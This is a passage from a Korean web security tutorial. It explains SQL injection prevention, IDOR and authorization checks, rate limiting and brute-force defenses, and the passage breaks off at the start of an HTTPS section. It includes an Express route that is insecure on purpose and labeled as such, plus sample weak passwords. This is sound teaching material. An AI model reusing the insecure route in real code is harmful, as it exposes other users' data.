<code>?<\/code>\ub294 \uc785\ub825\uac12\uc774 \ub4e4\uc5b4\uac08 \uc790\ub9ac\ub97c \ub098\ud0c0\ub0b8\ub2e4. \ub370\uc774\ud130\ubca0\uc774\uc2a4 \ub4dc\ub77c\uc774\ubc84\ub294 \uac12\uacfc SQL \uad6c\ubb38\uc744 \uad6c\ubd84\ud574 \ucc98\ub9ac\ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub530\ub77c\uc11c \uc785\ub825\uac12\uc5d0 SQL \ubb38\ubc95\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\ub354\ub77c\ub3c4 \uc77c\ubc18\uc801\uc73c\ub85c SQL \uba85\ub839\uc73c\ub85c \uc2e4\ud589\ub418\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ORM\uc744 \uc0ac\uc6a9\ud558\ub354\ub77c\ub3c4 raw query\ub97c \uc9c1\uc811 \uc791\uc131\ud558\ub294 \ubd80\ubd84\uc5d0\uc11c\ub294 \uac19\uc740 \uc6d0\uce59\uc744 \uc801\uc6a9\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub610\ud55c \ub2e4\uc74c \ubc29\uc5b4\ucc45\uc744 \ud568\uaed8 \uc801\uc6a9\ud55c\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>DB \uacc4\uc815\uc5d0 \ud544\uc694\ud55c \ucd5c\uc18c \uad8c\ud55c\ub9cc \ubd80\uc5ec<\/li>\n\n\n\n<li>\uc785\ub825\uac12\uc758 \ud0c0\uc785\uacfc \uae38\uc774 \uac80\uc99d<\/li>\n\n\n\n<li>\ud14c\uc774\ube14\uba85\uc774\ub098 \uc815\ub82c \uceec\ub7fc \ub4f1 \ud30c\ub77c\ubbf8\ud130\ub85c \ubc14\uc778\ub529\ud560 \uc218 \uc5c6\ub294 SQL \uc2dd\ubcc4\uc790\ub294 \ud5c8\uc6a9 \ubaa9\ub85d\uc73c\ub85c \uc81c\ud55c<\/li>\n\n\n\n<li>\ub370\uc774\ud130\ubca0\uc774\uc2a4 \uc624\ub958 \uba54\uc2dc\uc9c0\ub97c \uc678\ubd80\uc5d0 \uadf8\ub300\ub85c \ub178\ucd9c\ud558\uc9c0 \uc54a\uae30<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\uc785\ub825\uac12 \uac80\uc99d\ub9cc\uc73c\ub85c SQL Injection\uc744 \ubc29\uc5b4\ud558\ub824 \ud558\uc9c0 \ub9d0\uace0, \ucffc\ub9ac\uc640 \ub370\uc774\ud130\uc758 \uad6c\uc870\uc801 \ubd84\ub9ac\ub97c \uc6b0\uc120\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">IDOR\uc640 \uad8c\ud55c \uac80\uc99d<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">IDOR\ub780?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">IDOR(Insecure Direct Object Reference)\ub294 \uc0ac\uc6a9\uc790\uac00 \uac1d\uccb4\uc758 \uc2dd\ubcc4\uc790\ub97c \ubcc0\uacbd\ud558\ub294 \ubc29\uc2dd\uc73c\ub85c \uc790\uc2e0\uc5d0\uac8c \uad8c\ud55c\uc774 \uc5c6\ub294 \ub370\uc774\ud130\uc5d0 \uc811\uadfc\ud560 \uc218 \uc788\ub294 \ucde8\uc57d\uc810\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 API\uac00 \ub2e4\uc74c\uacfc \uac19\uc774 \ub3d9\uc791\ud55c\ub2e4\uace0 \uac00\uc815\ud558\uc790.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/api\/users\/1001<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ub85c\uadf8\uc778\ud55c \uc0ac\uc6a9\uc790\uac00 <code>1001<\/code>\ubc88 \uc0ac\uc6a9\uc790\ub77c\uace0 \ud574\ub3c4, \ub2e4\uc74c\uacfc \uac19\uc774 ID\ub97c \ubcc0\uacbd\ud574 \uc694\uccad\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/api\/users\/1002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc11c\ubc84\uac00 \ub85c\uadf8\uc778 \uc5ec\ubd80\ub9cc \ud655\uc778\ud558\uace0 \ub300\uc0c1 \uc0ac\uc6a9\uc790\uac00 \uc694\uccad\uc790\uc5d0\uac8c \uc18d\ud55c \ub370\uc774\ud130\uc778\uc9c0 \ud655\uc778\ud558\uc9c0 \uc54a\uc73c\uba74 \ub2e4\ub978 \uc0ac\ub78c\uc758 \uc815\ubcf4\uac00 \ub178\ucd9c\ub420 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">UUID\ucc98\ub7fc \ucd94\uce21\ud558\uae30 \uc5b4\ub824\uc6b4 \uc2dd\ubcc4\uc790\ub97c \uc0ac\uc6a9\ud558\ub354\ub77c\ub3c4 \uad8c\ud55c \uac80\uc99d\uc744 \uc0dd\ub7b5\ud574\uc11c\ub294 \uc548 \ub41c\ub2e4. \uc2dd\ubcc4\uc790\ub294 \uc811\uadfc \uad8c\ud55c\uc744 \ubcf4\uc7a5\ud558\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc798\ubabb\ub41c \uad8c\ud55c \uac80\uc99d<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>app.get(\"\/api\/users\/:id\", async (req, res) =&gt; {\n  const user = await userRepository.findById(req.params.id);\n\n  if (!user) {\n    return res.status(404).json({\n      error: \"USER_NOT_FOUND\",\n    });\n  }\n\n  return res.json(user);\n});<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774 \ucf54\ub4dc\ub294 \uc0ac\uc6a9\uc790\uac00 \uc874\uc7ac\ud558\ub294\uc9c0\ub9cc \ud655\uc778\ud55c\ub2e4. \uc778\uc99d \ubbf8\ub4e4\uc6e8\uc5b4\uac00 \uc788\ub354\ub77c\ub3c4 \uc694\uccad\uc790\uac00 \ud574\ub2f9 \uc0ac\uc6a9\uc790\uc758 \uc815\ubcf4\ub97c \uc870\ud68c\ud560 \uad8c\ud55c\uc774 \uc788\ub294\uc9c0 \ubcc4\ub3c4\ub85c \ud655\uc778\ud558\uc9c0 \uc54a\uc73c\uba74 \ucde8\uc57d\ud558\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uad8c\ud55c\uc744 \uac80\uc99d\ud558\ub294 \ubc29\ubc95<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>app.get(\"\/api\/users\/:id\", authenticate, async (req, res) =&gt; {\n  const requestedUserId = req.params.id;\n  const authenticatedUserId = req.user.id;\n\n  if (requestedUserId !== authenticatedUserId) {\n    return res.status(403).json({\n      error: \"FORBIDDEN\",\n    });\n  }\n\n  const user = await userRepository.findById(requestedUserId);\n\n  if (!user) {\n    return res.status(404).json({\n      error: \"USER_NOT_FOUND\",\n    });\n  }\n\n  return res.json(user);\n});<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc704 \ucf54\ub4dc\ub294 \uc77c\ubc18 \uc0ac\uc6a9\uc790\uac00 \uc790\uae30 \uc815\ubcf4\ub9cc \uc870\ud68c\ud560 \uc218 \uc788\ub294 \ub2e8\uc21c\ud55c \uc608\uc81c\ub2e4. <code>authenticate<\/code> \ubbf8\ub4e4\uc6e8\uc5b4\ub294 \uc778\uc99d\ub41c \uc0ac\uc6a9\uc790 \uc815\ubcf4\ub97c <code>req.user<\/code>\uc5d0 \uc548\uc804\ud558\uac8c \uc124\uc815\ud55c\ub2e4\uace0 \uac00\uc815\ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uad00\ub9ac\uc790, \ud300\uc6d0, \uc870\uc9c1\ubcc4 \uc811\uadfc\uc774 \ud544\uc694\ud55c \uc11c\ube44\uc2a4\uc5d0\uc11c\ub294 \ub2e8\uc21c\ud55c ID \ube44\uad50 \ub300\uc2e0 \uc815\ucc45\uc5d0 \ub9de\ub294 \uad8c\ud55c \uac80\uc99d\uc774 \ud544\uc694\ud558\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uac00\ub2a5\ud558\ub2e4\uba74 \ub370\uc774\ud130 \uc870\ud68c \ub2e8\uacc4\uc5d0\uc11c \uc811\uadfc \ubc94\uc704\ub97c \uc81c\ud55c\ud558\ub294 \uac83\ub3c4 \uc88b\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const document = await documentRepository.findAccessibleById({\n  documentId: req.params.id,\n  userId: req.user.id,\n});<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774 \ubc29\uc2dd\uc740 \uc560\ud50c\ub9ac\ucf00\uc774\uc158\uc774 \uad8c\ud55c\uc744 \ud655\uc778\ud558\uc9c0 \uc54a\uc740 \uac1d\uccb4\ub97c \ubb34\uc2ec\ucf54 \ubc18\ud658\ud558\ub294 \uc704\ud5d8\uc744 \uc904\uc778\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc778\uc99d\uacfc \uc778\uac00\ub294 \ub2e4\ub974\ub2e4<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\uc778\uc99d(Authentication)<\/strong>: \uc694\uccad\uc790\uac00 \ub204\uad6c\uc778\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/li>\n\n\n\n<li><strong>\uc778\uac00(Authorization)<\/strong>: \uc694\uccad\uc790\uac00 \ud2b9\uc815 \uc791\uc5c5\uc744 \uc218\ud589\ud560 \uc218 \uc788\ub294\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\uc720\ud6a8\ud55c JWT\ub97c \uac00\uc9c0\uace0 \uc788\ub2e4\ub294 \uc0ac\uc2e4\uc740 \uc0ac\uc6a9\uc790\uc758 \uc2e0\uc6d0\uc774 \ud655\uc778\ub418\uc5c8\ub2e4\ub294 \uc758\ubbf8\uc77c \ubfd0, \ubaa8\ub4e0 API\uc5d0 \uc811\uadfc\ud560 \uad8c\ud55c\uc774 \uc788\ub2e4\ub294 \ub73b\uc740 \uc544\ub2c8\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc2e4\ubb34\uc5d0\uc11c\ub294 \ubaa8\ub4e0 \ub370\uc774\ud130 \uc870\ud68c\u00b7\uc218\uc815\u00b7\uc0ad\uc81c \uc694\uccad\uc5d0\uc11c \ub300\uc0c1 \uac1d\uccb4\uc5d0 \ub300\ud55c \uad8c\ud55c\uc744 \ud655\uc778\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Rate Limiting<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Rate Limiting\uc774\ub780?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Rate Limiting\uc740 \uc77c\uc815 \uc2dc\uac04 \ub3d9\uc548 \ud5c8\uc6a9\ud558\ub294 \uc694\uccad \ud69f\uc218\ub97c \uc81c\ud55c\ud558\ub294 \uae30\uc220\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">API \uc11c\ubc84\uac00 \uc694\uccad\uc744 \ubb34\uc81c\ud55c\uc73c\ub85c \ucc98\ub9ac\ud558\uba74 \uacf5\uaca9\uc790\ub294 \ub300\ub7c9\uc758 \uc694\uccad\uc744 \ubcf4\ub0b4 CPU, \uba54\ubaa8\ub9ac, DB \uc5f0\uacb0, \uc678\ubd80 API \ud638\ucd9c\ub7c9 \ub4f1\uc744 \uc18c\ubaa8\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Rate Limiting\uc740 \uc774\ub7ec\ud55c \ub0a8\uc6a9\uc744 \uc81c\ud55c\ud558\uace0 \uc11c\ube44\uc2a4\uc758 \uac00\uc6a9\uc131\uc744 \ubcf4\ud638\ud558\ub294 \ub370 \uc0ac\uc6a9\ub41c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 \ub2e4\uc74c\uacfc \uac19\uc740 \uc815\ucc45\uc744 \uc124\uc815\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\uc77c\ubc18 API: IP\ub2f9 1\ubd84\uc5d0 100\ud68c\n\ub85c\uadf8\uc778 API: IP\ub2f9 1\ubd84\uc5d0 10\ud68c\n\uc778\uc99d \ucf54\ub4dc \ubc1c\uc1a1 API: \uacc4\uc815\ub2f9 1\uc2dc\uac04\uc5d0 5\ud68c<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc704 \uc218\uce58\ub294 \uc124\uba85\uc744 \uc704\ud55c \uc608\uc2dc\ub2e4. \uc2e4\uc81c \uc81c\ud55c\uac12\uc740 \uc11c\ube44\uc2a4\uc758 \uc815\uc0c1 \ud2b8\ub798\ud53d, \uc0ac\uc6a9\uc790 \uacbd\ud5d8, \uacf5\uaca9 \uc704\ud5d8\uc5d0 \ub530\ub77c \uacb0\uc815\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Express\uc5d0\uc11c Rate Limiting \uc801\uc6a9\ud558\uae30<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>import rateLimit from \"express-rate-limit\";\n\nconst loginLimiter = rateLimit({\n  windowMs: 60 * 1000,\n  limit: 10,\n  standardHeaders: \"draft-8\",\n  legacyHeaders: false,\n  message: {\n    error: \"RATE_LIMIT_EXCEEDED\",\n    message: \"\uc694\uccad \ud69f\uc218\ub97c \ucd08\uacfc\ud588\uc2b5\ub2c8\ub2e4.\",\n  },\n});\n\napp.post(\"\/api\/auth\/login\", loginLimiter, loginHandler);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774 \uc608\uc81c\ub294 \ub85c\uadf8\uc778 \uc5d4\ub4dc\ud3ec\uc778\ud2b8\uc5d0 \uc694\uccad \uc81c\ud55c\uc744 \uc801\uc6a9\ud55c\ub2e4. \uc0ac\uc6a9\ud558\ub294 \ub77c\uc774\ube0c\ub7ec\ub9ac \ubc84\uc804\uc5d0 \ub530\ub77c \uc635\uc158\uacfc \ubc18\ud658\ub418\ub294 \ud5e4\ub354\uc758 \ud615\uc2dd\uc740 \ud655\uc778\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ubd84\uc0b0 \uc11c\ubc84\uc5d0\uc11c\uc758 \uace0\ub824 \uc0ac\ud56d<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\ub2e8\uc77c \uc11c\ubc84\uc5d0\uc11c\ub294 \uba54\ubaa8\ub9ac\uc5d0 \uc694\uccad \ud69f\uc218\ub97c \uc800\uc7a5\ud560 \uc218 \uc788\uc9c0\ub9cc, \uc5ec\ub7ec \uc11c\ubc84\ub97c \uc6b4\uc601\ud558\uba74 \ubb38\uc81c\uac00 \uc0dd\uae34\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Client\n  |\nLoad Balancer\n  |\n  +-- API Server A\n  +-- API Server B\n  +-- API Server C<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uac01 \uc11c\ubc84\uac00 \ub3c5\ub9bd\uc801\uc73c\ub85c \uc694\uccad \ud69f\uc218\ub97c \uc800\uc7a5\ud558\uba74 \uc0ac\uc6a9\uc790\ub294 \uc11c\ubc84\ub9c8\ub2e4 \ubcc4\ub3c4\uc758 \uc81c\ud55c\uc744 \ubc1b\ub294\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 \uc11c\ubc84 \uc138 \ub300\uac00 \uac01\uac01 \ubd84\ub2f9 100\ud68c\ub97c \ud5c8\uc6a9\ud55c\ub2e4\uba74, \uc2e4\uc81c\ub85c\ub294 \ucd1d 300\ud68c\uae4c\uc9c0 \uc694\uccad\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ubd84\uc0b0 \ud658\uacbd\uc5d0\uc11c\ub294 Redis\uc640 \uac19\uc740 \uacf5\uc720 \uc800\uc7a5\uc18c\ub97c \uc774\uc6a9\ud558\uac70\ub098, API Gateway\uc5d0\uc11c \uacf5\ud1b5 \uc81c\ud55c\uc744 \uc801\uc6a9\ud560 \uc218 \uc788\ub2e4. \ub3d9\uc2dc \uc694\uccad\uc774 \ub9ce\uc740 \uacbd\uc6b0\uc5d0\ub294 \uc6d0\uc790\uc801\uc778 \uce74\uc6b4\ud130 \uac31\uc2e0\uacfc \uc801\uc808\ud55c \ub9cc\ub8cc \ucc98\ub9ac\uac00 \uc911\uc694\ud558\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Rate Limiting \uc54c\uace0\ub9ac\uc998<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fixed Window<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc815\ud574\uc9c4 \uc2dc\uac04 \uad6c\uac04\ub9c8\ub2e4 \uc694\uccad \ud69f\uc218\ub97c \uacc4\uc0b0\ud55c\ub2e4. \uad6c\ud604\uc774 \uac04\ub2e8\ud558\uc9c0\ub9cc \uad6c\uac04 \uacbd\uacc4\uc5d0\uc11c \uc21c\uac04\uc801\uc73c\ub85c \ub9ce\uc740 \uc694\uccad\uc774 \ud5c8\uc6a9\ub420 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Sliding Window<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ucd5c\uadfc \uc77c\uc815 \uc2dc\uac04 \ub3d9\uc548\uc758 \uc694\uccad\ub7c9\uc744 \uacc4\uc0b0\ud55c\ub2e4. \uace0\uc815 \uad6c\uac04\uc758 \uacbd\uacc4 \ubb38\uc81c\ub97c \uc644\ud654\ud558\uc9c0\ub9cc \uad6c\ud604 \ubc29\uc2dd\uc5d0 \ub530\ub77c \uc800\uc7a5 \uacf5\uac04\uc774\ub098 \uacc4\uc0b0 \ube44\uc6a9\uc774 \uc99d\uac00\ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Token Bucket<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud1a0\ud070\uc744 \uc77c\uc815 \uc18d\ub3c4\ub85c \ucda9\uc804\ud558\uace0, \uc694\uccad\ub9c8\ub2e4 \ud1a0\ud070\uc744 \uc18c\ube44\ud55c\ub2e4. \uc77c\uc815 \uc218\uc900\uc758 \uc21c\uac04\uc801\uc778 \uc694\uccad \uc99d\uac00\ub97c \ud5c8\uc6a9\ud558\uba74\uc11c \uc7a5\uae30\uc801\uc778 \uc694\uccad\ub960\uc744 \uc81c\ud55c\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Leaky Bucket<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc694\uccad\uc744 \uc77c\uc815\ud55c \uc18d\ub3c4\ub85c \ucc98\ub9ac\ud558\uac70\ub098 \ub300\uae30\uc5f4\uc5d0\uc11c \ud758\ub824\ubcf4\ub0b4\ub294 \ubc29\uc2dd\uc774\ub2e4. \ucc98\ub9ac \uc18d\ub3c4\ub97c \uc77c\uc815\ud558\uac8c \uc720\uc9c0\ud558\ub294 \ub370 \uc801\ud569\ud558\uc9c0\ub9cc \ub300\uae30\uc5f4 \ud06c\uae30\uc640 \uc9c0\uc5f0 \uc2dc\uac04\uc744 \uad00\ub9ac\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Rate Limiting\uc740 \uc11c\ube44\uc2a4 \ubcf4\ud638 \uc218\ub2e8\uc774\uc9c0, DDoS\ub97c \ub2e8\ub3c5\uc73c\ub85c \ud574\uacb0\ud558\ub294 \ubc29\ubc95\uc740 \uc544\ub2c8\ub2e4. \ub300\uaddc\ubaa8 \uacf5\uaca9\uc5d0\ub294 CDN, WAF, \ub85c\ub4dc \ubc38\ub7f0\uc11c, \ub124\ud2b8\uc6cc\ud06c \uacc4\uce35\uc758 \ubc29\uc5b4\ub3c4 \ud544\uc694\ud558\ub2e4.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Brute-force \ubc29\uc5b4<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Brute-force \uacf5\uaca9\uc774\ub780?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Brute-force \uacf5\uaca9\uc740 \uac00\ub2a5\ud55c \ube44\ubc00\ubc88\ud638\ub098 \uc778\uc99d \ucf54\ub4dc\ub97c \ubc18\ubcf5\uc801\uc73c\ub85c \uc2dc\ub3c4\ud574 \uc62c\ubc14\ub978 \uac12\uc744 \ucc3e\uc544\ub0b4\ub824\ub294 \uacf5\uaca9\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc608\ub97c \ub4e4\uc5b4 \uacf5\uaca9\uc790\uac00 \ub2e4\uc74c\uacfc \uac19\uc740 \ube44\ubc00\ubc88\ud638\ub97c \uc21c\ucc28\uc801\uc73c\ub85c \uc2dc\ub3c4\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>password123\nqwerty123\nadmin1234\n...<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ube44\ubc00\ubc88\ud638\uac00 \ub2e8\uc21c\ud558\uac70\ub098 \uc7ac\uc0ac\uc6a9\ub418\uace0 \uc788\ub2e4\uba74 \uacc4\uc815 \ud0c8\ucde8\ub85c \uc774\uc5b4\uc9c8 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub610\ud55c \uacf5\uaca9\uc790\uac00 \uc720\ucd9c\ub41c \uc774\uba54\uc77c\u00b7\ube44\ubc00\ubc88\ud638 \uc870\ud569\uc744 \ub300\ub7c9\uc73c\ub85c \uc2dc\ub3c4\ud558\ub294 Credential Stuffing\ub3c4 \uc8fc\uc694 \uc704\ud611\uc774\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ubc29\uc5b4 \ubc29\ubc95<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\ub85c\uadf8\uc778 \uc694\uccad \uc81c\ud55c<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">IP \uc8fc\uc18c, \uacc4\uc815, \ub124\ud2b8\uc6cc\ud06c \ud2b9\uc131 \ub4f1\uc744 \uc870\ud569\ud574 \uc694\uccad \ube48\ub3c4\ub97c \uc81c\ud55c\ud55c\ub2e4. IP\ub9cc \uae30\uc900\uc73c\ub85c \uc0bc\uc73c\uba74 \uacf5\uaca9\uc790\uac00 IP\ub97c \ubc14\uafb8\uc5b4 \uc6b0\ud68c\ud560 \uc218 \uc788\uace0, \uacc4\uc815\ub9cc \uae30\uc900\uc73c\ub85c \uc0bc\uc73c\uba74 \ud2b9\uc815 \uc0ac\uc6a9\uc790\ub97c \uc7a0\uac00 \uc11c\ube44\uc2a4 \uac70\ubd80\ub97c \uc720\ub3c4\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\uc810\uc9c4\uc801\uc778 \uc9c0\uc5f0<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc2e4\ud328\uac00 \ubc18\ubcf5\ub420\uc218\ub85d \ub2e4\uc74c \uc2dc\ub3c4\uae4c\uc9c0\uc758 \ub300\uae30 \uc2dc\uac04\uc744 \ub298\ub9b4 \uc218 \uc788\ub2e4. \ub2e4\ub9cc \uacf5\uaca9\uc790\uac00 \ub2e4\ub978 \uc0ac\uc6a9\uc790\uc758 \uacc4\uc815\uc744 \uc758\ub3c4\uc801\uc73c\ub85c \uc7a0\uadf8\uac70\ub098 \uc9c0\uc5f0\uc2dc\ud0a4\ub294 \ubb38\uc81c\uac00 \uc0dd\uae30\uc9c0 \uc54a\ub3c4\ub85d \uc124\uacc4\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>MFA \uc801\uc6a9<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ube44\ubc00\ubc88\ud638 \uc678\uc5d0 \ucd94\uac00 \uc778\uc99d \uc694\uc18c\ub97c \uc694\uad6c\ud558\uba74 \ube44\ubc00\ubc88\ud638\uac00 \uc720\ucd9c\ub418\ub354\ub77c\ub3c4 \uacc4\uc815 \ud0c8\ucde8 \uc704\ud5d8\uc744 \uc904\uc77c \uc218 \uc788\ub2e4. \ud2b9\ud788 \uad00\ub9ac\uc790 \uacc4\uc815\uacfc \ubbfc\uac10\ud55c \uc791\uc5c5\uc5d0\ub294 \uac15\ub825\ud55c \ub2e4\uc911 \uc694\uc18c \uc778\uc99d\uc744 \uace0\ub824\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\ube44\ubc00\ubc88\ud638 \uc800\uc7a5 \ubcf4\uc548<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ube44\ubc00\ubc88\ud638\ub294 \ud3c9\ubb38\uc73c\ub85c \uc800\uc7a5\ud558\uba74 \uc548 \ub41c\ub2e4. Argon2id, bcrypt \ub610\ub294 \uc801\uc808\ud558\uac8c \uc124\uc815\ub41c scrypt \uac19\uc740 \ube44\ubc00\ubc88\ud638 \ud574\uc2f1 \uc54c\uace0\ub9ac\uc998\uc744 \uc0ac\uc6a9\ud574\uc57c \ud55c\ub2e4. \uc77c\ubc18\uc801\uc778 SHA-256\uc744 \ub2e8\ub3c5\uc73c\ub85c \uc0ac\uc6a9\ud574 \ube44\ubc00\ubc88\ud638\ub97c \uc800\uc7a5\ud558\ub294 \uac83\uc740 \uc801\uc808\ud558\uc9c0 \uc54a\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\ub85c\uadf8\uc778 \uc2e4\ud328 \ubaa8\ub2c8\ud130\ub9c1<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc9e7\uc740 \uc2dc\uac04\uc5d0 \ubc18\ubcf5\ub418\ub294 \ub85c\uadf8\uc778 \uc2e4\ud328, \uc5ec\ub7ec \uacc4\uc815\uc5d0 \ub300\ud55c \ub300\ub7c9 \uc2dc\ub3c4, \ube44\uc815\uc0c1\uc801\uc778 \uc704\uce58\ub098 \uc7a5\uce58\uc5d0\uc11c\uc758 \uc811\uadfc\uc744 \uac10\uc9c0\ud558\uace0 \uc54c\ub9bc\uc744 \uc124\uc815\ud55c\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\uc778\uc99d \uc624\ub958 \uc751\ub2f5 \uc8fc\uc758<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\ub85c\uadf8\uc778 \uc2e4\ud328 \uc2dc \ub2e4\uc74c\uacfc \uac19\uc774 \uc751\ub2f5\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"error\": \"INVALID_CREDENTIALS\",\n  \"message\": \"\uc774\uba54\uc77c \ub610\ub294 \ube44\ubc00\ubc88\ud638\uac00 \uc62c\ubc14\ub974\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.\"\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc874\uc7ac\ud558\uc9c0 \uc54a\ub294 \uacc4\uc815\uacfc \ube44\ubc00\ubc88\ud638\uac00 \ud2c0\ub9b0 \uacc4\uc815\uc744 \uc11c\ub85c \ub2e4\ub978 \uba54\uc2dc\uc9c0\ub85c \uad6c\ubd84\ud558\uba74 \uacf5\uaca9\uc790\uac00 \uc720\ud6a8\ud55c \uacc4\uc815 \ubaa9\ub85d\uc744 \uc218\uc9d1\ud560 \uc218 \uc788\ub2e4. \uc77c\ubc18\uc801\uc73c\ub85c \uc678\ubd80 \uc751\ub2f5\uc740 \ud1b5\uc77c\ud558\uace0, \uc0c1\uc138 \uc6d0\uc778\uc740 \ub0b4\ubd80 \ubcf4\uc548 \ub85c\uadf8\uc5d0\uc11c \uad00\ub9ac\ud55c\ub2e4.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">HTTPS\uc640 TLS<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">HTTPS\ub780?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">HTTPS\ub294 HTTP \ud1b5\uc2e0\uc744 TLS(Transport Layer Security)\ub85c \ubcf4\ud638\ud558\ub294 \ubc29\uc2dd\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc77c\ubc18 HTTP \ud1b5\uc2e0\uc5d0\uc11c\ub294 \ub124\ud2b8\uc6cc\ud06c \uacbd\ub85c\uc5d0\uc11c \ud2b8\ub798\ud53d\uc744 